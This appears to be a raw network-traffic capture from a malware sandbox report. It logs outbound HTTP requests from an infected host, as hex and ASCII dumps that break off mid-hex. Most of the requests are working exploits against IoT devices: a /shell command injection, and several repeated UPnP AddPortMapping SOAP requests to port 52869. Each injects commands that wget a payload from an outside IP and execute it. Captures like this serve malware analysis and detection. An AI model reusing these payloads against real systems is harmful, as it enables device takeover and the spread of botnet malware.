Mar 21, 2024 05:17:10.632496119 CET	371	IN	Data Raw: 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 Data Ascii: m&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright"

Session ID	Source IP	Source Port	Destination IP	Destination Port
266	192.168.2.23	39448	147.135.10.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:10.495019913 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:11.071604967 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:11.165597916 CET	174	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
267	192.168.2.23	47670	31.136.194.126	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:11.239200115 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:11.807538033 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:12.930803061 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:15.263015985 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:19.870445967 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:28.830853939 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:17:48.026520967 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 